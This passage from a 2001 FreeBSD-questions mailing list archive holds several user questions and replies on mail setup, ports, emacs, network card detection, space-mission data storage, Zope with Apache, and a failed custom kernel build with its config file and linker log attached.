local mailbox A1 Unix A2 recieves mail into sales@domainA.com, local mailbox A2 Unix B1 recieves mail into info@domainB.com, local mailbox B1 Unix B2 recieves mail into sales@domainB.com, local mailbox B2 Is it possible to do: user userA1 and userA2 in those email client programs entering pop3 server for domainA.com and user names: info and sales appropriately got access to those mailboxes: A1 and A2? And the same for B1 and B2: server: domainB.com, accounts: info and sales, mailboxes B1 and B2? Great thanks! -- Alexander S. Volchenkov mailto:volax@uh.ru http://www.uh.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3: 4:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mobil.cz (diana.mobil.cz [195.39.16.12]) by hub.freebsd.org (Postfix) with ESMTP id BDD2337B405 for ; Fri, 23 Nov 2001 03:04:06 -0800 (PST) Received: from ester.mobil.cz (ester.mobil.cz [194.213.62.23]) by mobil.cz (8.11.6/8.11.0) with ESMTP id fANB45g30218 for ; Fri, 23 Nov 2001 12:04:05 +0100 Received: from roman.mobil.cz ([10.2.0.89]) by ester.mobil.cz (Lotus Domino Release 5.0.7) with ESMTP id 2001112311594740:1233 ; Fri, 23 Nov 2001 11:59:47 +0100 Received: (from roman@localhost) by roman.mobil.cz (8.11.6/8.11.6) id fANBA3j17646 for questions@freebsd.org; Fri, 23 Nov 2001 12:10:03 +0100 (CET) (envelope-from neuhauser@mobil.cz) X-Authentication-Warning: roman.mobil.cz: roman set sender to neuhauser@mobil.cz using -f Date: Fri, 23 Nov 2001 12:10:03 +0100 From: Roman Neuhauser To: questions@freebsd.org Subject: Re: /usr/ports question Message-ID: <20011123121003.A26507@roman.mobil.cz> Mail-Followup-To: questions@freebsd.org References: <66548662@toto.iv> <15356.6372.508616.392204@guru.mired.org> Mime-Version: 1.0 In-Reply-To: <15356.6372.508616.392204@guru.mired.org> User-Agent: Mutt/1.3.23i X-MIMETrack: Itemize by SMTP Server on ester/Mobil(Release 5.0.7 |March 21, 2001) at 11/23/2001 11:59:47 AM, Serialize by Router on ester/Mobil(Release 5.0.7 |March 21, 2001) at 11/23/2001 11:59:52 AM, Serialize complete at 11/23/2001 11:59:52 AM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: Mike Meyer > Date: Wed, 21 Nov 2001 15:13:08 -0600 > To: "Bara Zani" > Cc: questions@freebsd.org > Subject: Re: /usr/ports question > > Bara Zani types: > > Hi , > > I want to change the default install options of a certain port , how can i > > do that ? > > If you're talking about location, use PREFIX. That's the top of the > tree for installs, so binariexz go in $PREFIX/bin, man pages in > $PREFIX/man, and so on. However, changing the PREFIX for just one > port isn't very safe - you really should make them *all* install with > the same PREFIX, which you do by setting LOCALBASE in > /etc/make.conf. Even then, some ports will break for one reason or > another because they don't handle the change properly. This has always made me wonder: the install prefix of every port is recorded in /var/db/pkg//+CONTENTS. Why isn't this information used? -- FreeBSD 4.4-STABLE 11:54AM up 30 days, 22:37, 12 users, load averages: 0.24, 0.10, 0.07 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3:10:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by hub.freebsd.org (Postfix) with ESMTP id E27FE37B417 for ; Fri, 23 Nov 2001 03:10:09 -0800 (PST) Received: from user-112vp95.biz.mindspring.com ([66.47.229.37] helo=FRANKENFURTER) by mclean.mail.mindspring.net with esmtp (Exim 3.33 #1) id 167EDJ-000254-00; Fri, 23 Nov 2001 06:09:45 -0500 Date: Fri, 23 Nov 2001 03:15:51 -0800 From: Brian Sobolak X-Mailer: The Bat! (v1.51) Personal Reply-To: Brian Sobolak X-Priority: 3 (Normal) Message-ID: <13560341496.20011123031551@mindspring.com> To: Giorgos Keramidas Cc: Anthony Atkielski , Mike Meyer , questions@FreeBSD.ORG Subject: Re[2]: home pc use In-Reply-To: <20011122195752.GA498@hades.hell.gr> References: <15355.2770.644343.846234@guru.mired.org> <01e201c17234$24bc2360$0a00000a@atkielski.com> <20011122195752.GA498@hades.hell.gr> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi Thursday, November 22, 2001, 11:57:52 AM, you wrote: GK> On 2001-11-21 03:27:55, Anthony Atkielski wrote: >> Mike writes: >> > I have as yet to find a point-n-clicky html or >> > xml editor that was as nice as psgml mode in >> > emacs. >> >> Does it also work for C code and Perl and so on? I like something >> that handles indents automagically, in particular. GK> Sure. It's so customizable, that new users will tend to drown in an GK> ocean of customizable knobs, in fact. I customarily use emacs to edit GK> plain text files or C, Perl, HTML, SGML, and a ton of other languages. Just out of curiousity, how does it handle Greek? Do you use the same environment to edit files in English as Greek (e.g. the same binary)? brian -- Got work? http://www.planetshwoop.com/resume/ This is how I think: http://www.planetshwoop.com/blog/ Brian Sobolak sobolak@mindspring.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3:13:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by hub.freebsd.org (Postfix) with ESMTP id 86CE537B405 for ; Fri, 23 Nov 2001 03:13:13 -0800 (PST) Received: from user-112vp95.biz.mindspring.com ([66.47.229.37] helo=FRANKENFURTER) by tisch.mail.mindspring.net with esmtp (Exim 3.33 #1) id 167EGe-00082C-00; Fri, 23 Nov 2001 06:13:12 -0500 Date: Fri, 23 Nov 2001 03:19:19 -0800 From: Brian Sobolak X-Mailer: The Bat! (v1.51) Personal Reply-To: Brian Sobolak X-Priority: 3 (Normal) Message-ID: <19160549385.20011123031919@mindspring.com> To: Jim Graves Cc: freebsd-questions@FreeBSD.ORG Subject: Re: PNP Card Install Problem In-Reply-To: <3BFD766E.BC9F3738@i2020.net> References: <3BFD766E.BC9F3738@i2020.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi Thursday, November 22, 2001, 2:04:30 PM, you wrote: JG> I have release 4.2 #0 installed on a Pentium 4 machine with an ASUS P4T JG> main board. The boot process lists all cards and installs them, but the JG> network card fails. I have tried two different cards - same problem. JG> From a DMESG, I see: JG> dc0: at device 11.0 on pci2 JG> dc0: couldn't map ports/memory JG> device_probe_and_attach: dc0 attach returned 6 JG> What is this telling me, how do I fix it? I've got to have a network JG> card! JG> On my old 200MHz Pentium Pro machine, both cards can be setup correctly, JG> but I'd rather be running on my new machine at 1.5GHz. I was getting the exact same error after trying both 4.2-RELEASE and 4.4-RELEASE. As it turned out, my BIOS was set to PnP Aware OS (Plug and Play). I changed the setting in the BIOS to be "Other", the card was detected without any problem and the above error went away. brian -- Got work? http://www.planetshwoop.com/resume/ This is how I think: http://www.planetshwoop.com/blog/ Brian Sobolak sobolak@mindspring.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3:18:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 35DDD37B405 for ; Fri, 23 Nov 2001 03:18:08 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fANBI2R32755; Fri, 23 Nov 2001 03:18:02 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Robert Suetterlin" Cc: Subject: RE: why are You asking here Date: Fri, 23 Nov 2001 03:18:01 -0800 Message-ID: <008401c17410$83770a40$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <20011123112138.A6496@robert2.mpe-garching.mpg.de> X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: Robert Suetterlin [mailto:robert@mpe.mpg.de] >Sent: Friday, November 23, 2001 2:22 AM >To: Ted Mittelstaedt >Subject: Re: why are You asking here > > >Hello Ted, > Hi Robert I hope you don't mind me cc'ing the list. >On Fri, Nov 23, 2001 at 02:08:35AM -0800, Ted Mittelstaedt wrote: >> Gee - why are you asking here? For the publicity value alone Sun should be >> willing to give you all hardware and a lot of software support for free. > >Sun already thinks about this problem. But this does not mean that >they will find >a solution. Well, asking FreeBSD to solve a problem that Sun can't solve is a bit surprising, you must have a lot of faith in us. >And any Solaris based solution will force a Sparc powered >hardware. This will use a large amount of our 200W hard limit on power >consumption. > Um - there ARE Sparc laptops so I think they have dealt with this already. But in any case, I'll make a few points here: 1) The power consumption and all that, while it's important, is not something that FreeBSD can solve for you. This is purely a hardware issue. Now, if you have some hardware already in mind that you think can do it and your just looking for an OS to run it - well that's something else, tell us what it is. If not - well I think your first stop is the hardware mailing lists. 2) While you outlined the problem your looking at: Our experiment needs to record a data stream (uncompressed images) at approx 260MByte per Second. In bursts of 45Minutes. Over 5-10 years, with periodic (i.e. Shuttle Mission Interval) replacement of permanent storage (best would be tape). what struck me is that your not saying anything about weight limits. Well I'm not an expert here but it seems to me that it must cost hundreds, perhaps thousands of dollars per pound to lift anything into orbit. That would seem to indicate that with the size of data storage your talking about, that your primary concern should be getting the densest storage medium possible, as even the most expensive and densest storage medium available today no matter how expensive it is, is going to pale in cost to the money needed to lift it up to the ISS. I am not at all convinced that tape storage is any kind of answer for you. Besides the fragility of the medium, there's the fragility of the recording mechanism itself. All tape drives, being mechanical things, will wear and drift out of alignment. I simply cannot imagine any kind of data tape drive manufactured today lasting for 5-10 years with any reasonable amount of use, and a considerable amount of weight and space will be consumed by the cartrige, mechanism, etc. Wouldn't you really be needing to look at something completely solid state here? I mean, there's flash cards that sell on the street that will hold a gigabyte, surely someone could custom-build something for you that would hold a lot more than this. 3) What exactly is a HSM going to do for you? HSM's are useful if you have a lot of data with perhaps 30% of it being regularly accessed, 30% of it being seldom accessed, and 30% being archived only. They do nothing for you if all your doing is archiving it once then never accessing it again until the tapes are flown back down. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3:18:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsat.halenet.com.au (joe.halenet.com.au [203.37.141.114]) by hub.freebsd.org (Postfix) with ESMTP id B43A837B416 for ; Fri, 23 Nov 2001 03:18:20 -0800 (PST) Received: (from root@localhost) by mailsat.halenet.com.au (8.11.1/8.11.1) id fANBKrF77280 for freebsd-questions@freebsd.org; Fri, 23 Nov 2001 21:20:53 +1000 (EST) (envelope-from timbo@halenet.com.au) Received: from laptop (modem-108-st.halenet.com.au [203.55.33.108]) by mailsat.halenet.com.au (8.11.1/8.11.1av) with SMTP id fANBKoc77271 for ; Fri, 23 Nov 2001 21:20:51 +1000 (EST) (envelope-from timbo@halenet.com.au) Message-ID: <00b901c17410$6169b1a0$6500a8c0@halenet.com.au> From: "Tim McCullagh" To: Subject: zope and apache Date: Fri, 23 Nov 2001 21:17:01 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Is there anybody who sucessfully runs Zope through Apache. I cannot get working the authentication for Zope management screens. My Browser says Authorization failed ... No Authorization header found. I have tried the mod_rewrite as recomended. If it works for you could you send me a sample httpd.conf that works with Zope ? I have tried it with both Apache 2 and Apache 1.3 on fresh system installs, without any luck Please send it to me directly Thanks Tim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 3:20:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dot.uber.com.br (ctbcnetsuper-146.ctbcnetsuper.com.br [200.225.201.146]) by hub.freebsd.org (Postfix) with SMTP id 3B00437B405 for ; Fri, 23 Nov 2001 03:19:55 -0800 (PST) Received: (qmail 18288 invoked from network); 23 Nov 2001 09:15:23 -0000 Received: from ctbcnetsuper-200.ctbcnetsuper.com.br (HELO uber.com.br) (200.225.204.200) by 0 with SMTP; 23 Nov 2001 09:15:23 -0000 Message-ID: <3BFE3263.1DA8F26A@uber.com.br> Date: Fri, 23 Nov 2001 09:26:27 -0200 From: =?iso-8859-1?Q?Jos=E9?= Romildo Malaquias Organization: UFOP X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.9-13 i686) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Cc: romildo@uber.com.br Subject: Error building custom kernel Content-Type: multipart/mixed; boundary="------------F58641E89A8E5F4A1CB8948D" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------F58641E89A8E5F4A1CB8948D Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Hello. After installing FreeBSD 4-4 on my Pentium II computer, I am in the process of configuring the system. In order to have support for ext2 filesystems and my sound card, I have to compile a custom kernel. After reading the relevant chapters of the handbook, I have edited a kernel configuration file and tried building the kernel. Unfortunatly it stoped with an error message. Being a novice FreeBSD user (althoug having used Linux for some time now), I am not able to figure out what the problem is and how to solve it. The kernel configuraion file (/usr/src/sys/i386/conf/MYKERNEL) and the output of the building command # make building KERNCONF=MYKERNEL are attached to this message. Any clues? Romildo -- Prof. José Romildo Malaquias Departamento de Computação http://iceb.ufop.br/~romildo Universidade Federal de Ouro Preto romildo@iceb.ufop.br Brasil romildo@uber.com.br --------------F58641E89A8E5F4A1CB8948D Content-Type: text/plain; charset=us-ascii; name="MYKERNEL" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="MYKERNEL" # # GENERIC -- Generic kernel configuration file for FreeBSD/i386 # # For more information on this file, please read the handbook section on # Kernel Configuration Files: # # http://www.FreeBSD.org/handbook/kernelconfig-config.html # # The handbook is also available locally in /usr/share/doc/handbook # if you've installed the doc distribution, otherwise always see the # FreeBSD World Wide Web server (http://www.FreeBSD.org/) for the # latest information. # # An exhaustive list of options and more detailed explanations of the # device lines is also present in the ./LINT configuration file. If you are # in doubt as to the purpose or necessity of a line, check first in LINT. # # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.246.2.34 2001/08/12 13:13:46 joerg Exp $ machine i386 #cpu I386_CPU #cpu I486_CPU #cpu I586_CPU cpu I686_CPU ident MYKERNEL maxusers 32 #makeoptions DEBUG=-g #Build kernel with gdb(1) debug symbols #options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options INET6 #IPv6 communications protocols options FFS #Berkeley Fast Filesystem options FFS_ROOT #FFS usable as root device [keep this!] options SOFTUPDATES #Enable FFS soft updates support options MFS #Memory Filesystem options MD_ROOT #MD is a potential root device options NFS #Network Filesystem options NFS_ROOT #NFS usable as root device, NFS required options MSDOSFS #MSDOS Filesystem options CD9660 #ISO 9660 Filesystem options CD9660_ROOT #CD-ROM usable as root, CD9660 required options PROCFS #Process filesystem options COMPAT_43 #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=15000 #Delay (in ms) before probing SCSI options UCONSOLE #Allow users to grab the console options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor options KTRACE #ktrace(1) support options SYSVSHM #SYSV-style shared memory options SYSVMSG #SYSV-style message queues options SYSVSEM #SYSV-style semaphores options P1003_1B #Posix P1003_1B real-time extensions options _KPOSIX_PRIORITY_SCHEDULING options ICMP_BANDLIM #Rate limit bad replies options KBD_INSTALL_CDEV # install a CDEV entry in /dev # To make an SMP kernel, the next two are needed #options SMP # Symmetric MultiProcessor Kernel #options APIC_IO # Symmetric (APIC) I/O device isa device eisa device pci # Floppy drives device fdc0 at isa? port IO_FD1 irq 6 drq 2 device fd0 at fdc0 drive 0 device fd1 at fdc0 drive 1 # # If you have a Toshiba Libretto with its Y-E Data PCMCIA floppy, # don't use the above line for fdc0 but the following one: #device fdc0 # ATA and ATAPI devices device ata0 at isa? port IO_WD1 irq 14 device ata1 at isa? port IO_WD2 irq 15 device ata device atadisk # ATA disk drives device atapicd # ATAPI CDROM drives device atapifd # ATAPI floppy drives device atapist # ATAPI tape drives options ATA_STATIC_ID #Static device numbering # SCSI Controllers #device ahb # EISA AHA1742 family #device ahc # AHA2940 and onboard AIC7xxx devices #device amd # AMD 53C974 (Tekram DC-390(T)) #device isp # Qlogic family #device ncr # NCR/Symbios Logic #device sym # NCR/Symbios Logic (newer chipsets) #options SYM_SETUP_LP_PROBE_MAP=0x40 # Allow ncr to attach legacy NCR devices when # both sym and ncr are configured #device adv0 at isa? #device adw #device bt0 at isa? #device aha0 at isa? #device aic0 at isa? #device ncv # NCR 53C500 #device nsp # Workbit Ninja SCSI-3 #device stg # TMC 18C30/18C50 # SCSI peripherals #device scbus # SCSI bus (required) #device da # Direct Access (disks) #device sa # Sequential Access (tape etc) #device cd # CD #device pass # Passthrough device (direct SCSI access) # RAID controllers interfaced to the SCSI subsystem device asr # DPT SmartRAID V, VI and Adaptec SCSI RAID device dpt # DPT Smartcache - See LINT for options! device mly # Mylex AcceleRAID/eXtremeRAID # RAID controllers #device aac # Adaptec FSA RAID, Dell PERC2/PERC3 #device ida # Compaq Smart RAID #device amr # AMI MegaRAID #device mlx # Mylex DAC960 family #device twe # 3ware Escalade # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc0 at isa? port IO_KBD device atkbd0 at atkbdc? irq 1 flags 0x1 device psm0 at atkbdc? irq 12 device vga0 at isa? # splash screen/screen saver pseudo-device splash # syscons is the default console driver, resembling an SCO console device sc0 at isa? flags 0x100 # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver #device vt0 at isa? #options XSERVER # support for X server on a vt console #options FAT_CURSOR # start with block cursor # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines #options PCVT_SCANSET=2 # IBM keyboards are non-std # Floating point support - do not disable. device npx0 at nexus? port IO_NPX irq 13 # Power management support (see LINT for more options) device apm0 at nexus? disable flags 0x20 # Advanced Power Management # PCCARD (PCMCIA) support #device card #device pcic0 at isa? irq 0 port 0x3e0 iomem 0xd0000 #device pcic1 at isa? irq 0 port 0x3e2 iomem 0xd4000 disable # Serial (COM) ports device sio0 at isa? port IO_COM1 flags 0x10 irq 4 device sio1 at isa? port IO_COM2 irq 3 device sio2 at isa? disable port IO_COM3 irq 5 device sio3 at isa? disable port IO_COM4 irq 9 # Parallel port device ppc0 at isa? irq 7 device ppbus # Parallel port bus (required) device lpt # Printer device plip # TCP/IP over parallel device ppi # Parallel port interface device #device vpo # Requires scbus and da # PCI Ethernet NICs. #device de # DEC/Intel DC21x4x (``Tulip'') #device txp # 3Com 3cR990 (``Typhoon'') #device vx # 3Com 3c590, 3c595 (``Vortex'') # PCI Ethernet NICs that use the common MII bus controller code. # NOTE: Be sure to keep the 'device miibus' line in order to use these NICs! device miibus # MII bus support #device dc # DEC/Intel 21143 and various workalikes #device fxp # Intel EtherExpress PRO/100B (82557, 82558) #device pcn # AMD Am79C97x PCI 10/100 NICs device rl # RealTek 8129/8139 #device sf # Adaptec AIC-6915 (``Starfire'') #device sis # Silicon Integrated Systems SiS 900/SiS 7016 #device ste # Sundance ST201 (D-Link DFE-550TX) #device tl # Texas Instruments ThunderLAN #device tx # SMC EtherPower II (83c170 ``EPIC'') #device vr # VIA Rhine, Rhine II #device wb # Winbond W89C840F #device wx # Intel Gigabit Ethernet Card (``Wiseman'') #device xl # 3Com 3c90x (``Boomerang'', ``Cyclone'') # ISA Ethernet NICs. # 'device ed' requires 'device miibus' #device ed0 at isa? port 0x280 irq 10 iomem 0xd8000 #device ex #device ep #device fe0 at isa? port 0x300 # Xircom Ethernet #device xe # PRISM I IEEE 802.11b wireless NIC. #device awi # WaveLAN/IEEE 802.11 wireless NICs. Note: the WaveLAN/IEEE really # exists only as a PCMCIA device, so there is no ISA attachment needed # and resources will always be dynamically assigned by the pccard code. #device wi # Aironet 4500/4800 802.11 wireless NICs. Note: the declaration below will # work for PCMCIA and PCI cards, as well as ISA cards set to ISA PnP # mode (the factory default). If you set the switches on your ISA # card for a manually chosen I/O address and IRQ, you must specify # those parameters here. #device an # The probe order of these is presently determined by i386/isa/isa_compat.c. #device ie0 at isa? port 0x300 irq 10 iomem 0xd0000 #device le0 at isa? port 0x300 irq 5 iomem 0xd0000 #device lnc0 at isa? port 0x280 irq 10 drq 0 #device cs0 at isa? port 0x300 #device sn0 at isa? port 0x300 irq 10 # Pseudo devices - the number indicates how many units to allocate. pseudo-device loop # Network loopback pseudo-device ether # Ethernet support pseudo-device sl 1 # Kernel SLIP pseudo-device ppp 1 # Kernel PPP pseudo-device tun # Packet tunnel. pseudo-device pty # Pseudo-ttys (telnet etc) pseudo-device md # Memory "disks" pseudo-device gif # IPv6 and IPv4 tunneling pseudo-device faith 1 # IPv6-to-IPv4 relaying (translation) # The `bpf' pseudo-device enables the Berkeley Packet Filter. # Be aware of the administrative consequences of enabling this! pseudo-device bpf #Berkeley packet filter # USB support device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface device usb # USB Bus (required) device ugen # Generic device uhid # "Human Interface Devices" device ukbd # Keyboard device ulpt # Printer device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse device uscanner # Scanners # USB Ethernet, requires mii #device aue # ADMtek USB ethernet #device cue # CATC USB ethernet #device kue # Kawasaki LSI USB ethernet # For PnP/PCI sound cards device pcm # For non-PnP ISA cards: device sbc0 at isa? port 0x220 irq 5 drq 1 flags 0x15 # Add support for the EXT2FS filesystem of Linux fame. Be a bit # careful with this - the ext2fs code has a tendency to lag behind # changes and not be exercised very much, so mounting read/write could # be dangerous (and even mounting read only could result in panics.) # options EXT2FS --------------F58641E89A8E5F4A1CB8948D Content-Type: text/plain; charset=us-ascii; name="MYKERNEL.log" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="MYKERNEL.log" -------------------------------------------------------------- >>> Kernel build for MYKERNEL started on Fri Nov 23 07:14:25 BRST 2001 -------------------------------------------------------------- ===> MYKERNEL mkdir -p /usr/obj/usr/src/sys cd /usr/src/sys/i386/conf; PATH=/usr/obj/usr/src/i386/usr/sbin:/usr/obj/usr/src/i386/usr/bin:/usr/obj/usr/src/i386/usr/games:/sbin:/bin:/usr/sbin:/usr/bin config -d /usr/obj/usr/src/sys/MYKERNEL MYKERNEL Don't forget to do a ``make depend'' Kernel build directory is /usr/obj/usr/src/sys/MYKERNEL [...] =2 ioconf.c cc -c -O -pipe -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -I/usr/src/sys/contrib/ipfilter -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 config.c cc -c -O -pipe -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -I/usr/src/sys/contrib/ipfilter -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 setdef1.c touch hack.c cc -elf -shared -nostdlib hack.c -o hack.So rm -f hack.c sh /usr/src/sys/conf/newvers.sh MYKERNEL cc -c -O -pipe -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -nostdinc -I- -I. -I/usr/src/sys -I/usr/src/sys/../include -I/usr/src/sys/contrib/ipfilter -D_KERNEL -include opt_global.h -elf -mpreferred-stack-boundary=2 vers.c linking kernel asr.o: In function `ASR_failActiveCommands': asr.o(.text+0x6e7): undefined reference to `xpt_done' asr.o: In function `ASR_rescan': asr.o(.text+0xba0): undefined reference to `xpt_create_path' asr.o(.text+0xbe8): undefined reference to `xpt_async' asr.o(.text+0xc0a): undefined reference to `xpt_setup_ccb' asr.o(.text+0xc2a): undefined reference to `xpt_async' asr.o(.text+0xc3c): undefined reference to `xpt_async' asr.o(.text+0xcab): undefined reference to `xpt_async' asr.o(.text+0xcce): undefined reference to `xpt_async' asr.o(.text+0xcf1): undefined reference to `xpt_async' asr.o: In function `ASR_reset': asr.o(.text+0xda9): undefined reference to `xpt_path_sim' asr.o: In function `asr_timeout': asr.o(.text+0xdf8): undefined reference to `xpt_path_sim' asr.o(.text+0xed3): undefined reference to `xpt_path_sim' asr.o(.text+0xeeb): undefined reference to `xpt_async' asr.o: In function `ASR_init_message': asr.o(.text+0x1531): undefined reference to `xpt_path_sim' asr.o: In function `asr_attach': asr.o(.text+0x26b6): undefined reference to `cam_simq_alloc' asr.o(.text+0x26de): undefined reference to `cam_sim_alloc' asr.o(.text+0x26fb): undefined reference to `xpt_bus_register' asr.o(.text+0x270c): undefined reference to `cam_sim_free' asr.o(.text+0x2737): undefined reference to `xpt_create_path' asr.o(.text+0x274a): undefined reference to `xpt_bus_deregister' asr.o(.text+0x2754): undefined reference to `cam_sim_free' asr.o: In function `asr_action': asr.o(.text+0x28a3): undefined reference to `xpt_path_sim' asr.o(.text+0x2a8e): undefined reference to `xpt_done' asr.o(.text+0x2a9d): undefined reference to `xpt_done' asr.o: In function `asr_intr': asr.o(.text+0x2cc1): undefined reference to `xpt_done' asr.o: In function `ASR_queue_i': asr.o(.text+0x340a): undefined reference to `xpt_path_sim' dpt_scsi.o: In function `dptexecuteccb': dpt_scsi.o(.text+0x71f): undefined reference to `xpt_freeze_devq' dpt_scsi.o(.text+0x7a4): undefined reference to `xpt_done' dpt_scsi.o(.text+0x8ec): undefined reference to `xpt_done' dpt_scsi.o(.text+0xa10): undefined reference to `xpt_done' dpt_scsi.o: In function `dpt_action': dpt_scsi.o(.text+0xa47): undefined reference to `xpt_print_path' dpt_scsi.o(.text+0xb70): undefined reference to `xpt_freeze_simq' dpt_scsi.o(.text+0xd86): undefined reference to `xpt_freeze_simq' dpt_scsi.o(.text+0xf8b): undefined reference to `xpt_done' dpt_scsi.o(.text+0xf9d): undefined reference to `xpt_done' dpt_scsi.o: In function `dpt_attach': dpt_scsi.o(.text+0x176d): undefined reference to `cam_simq_alloc' dpt_scsi.o(.text+0x179f): undefined reference to `xpt_bus_deregister' dpt_scsi.o(.text+0x17b5): undefined reference to `cam_sim_free' dpt_scsi.o(.text+0x1800): undefined reference to `cam_sim_alloc' dpt_scsi.o(.text+0x1817): undefined reference to `xpt_bus_register' dpt_scsi.o(.text+0x1841): undefined reference to `xpt_create_path' dpt_scsi.o: In function `dpt_intr': dpt_scsi.o(.text+0x1b91): undefined reference to `xpt_done' dpt_scsi.o: In function `dptprocesserror': dpt_scsi.o(.text+0x1d05): undefined reference to `xpt_done' dpt_scsi.o: In function `dpttimeout': dpt_scsi.o(.text+0x1d2a): undefined reference to `xpt_print_path' dpt_scsi.o(.text+0x1d54): undefined reference to `xpt_print_path' mly_cam.o: In function `mly_cam_attach': mly_cam.o(.text+0x42): undefined reference to `cam_simq_alloc' mly_cam.o(.text+0x5d): undefined reference to `cam_simq_free' mly_cam.o(.text+0xce): undefined reference to `cam_sim_alloc' mly_cam.o(.text+0x132): undefined reference to `cam_sim_alloc' mly_cam.o(.text+0x174): undefined reference to `xpt_bus_register' mly_cam.o: In function `mly_cam_detach': mly_cam.o(.text+0x1e0): undefined reference to `xpt_bus_deregister' mly_cam.o(.text+0x1f4): undefined reference to `cam_sim_free' mly_cam.o: In function `mly_cam_action': mly_cam.o(.text+0x525): undefined reference to `xpt_done' mly_cam.o: In function `mly_cam_complete': mly_cam.o(.text+0x905): undefined reference to `xpt_done' mly_cam.o: In function `mly_find_periph': mly_cam.o(.text+0x943): undefined reference to `xpt_create_path' mly_cam.o(.text+0x955): undefined reference to `cam_periph_find' mly_cam.o(.text+0x95f): undefined reference to `xpt_free_path' umass.o: In function `umass_cam_attach_sim': umass.o(.text+0x1257): undefined reference to `cam_simq_alloc' umass.o(.text+0x127d): undefined reference to `cam_sim_alloc' 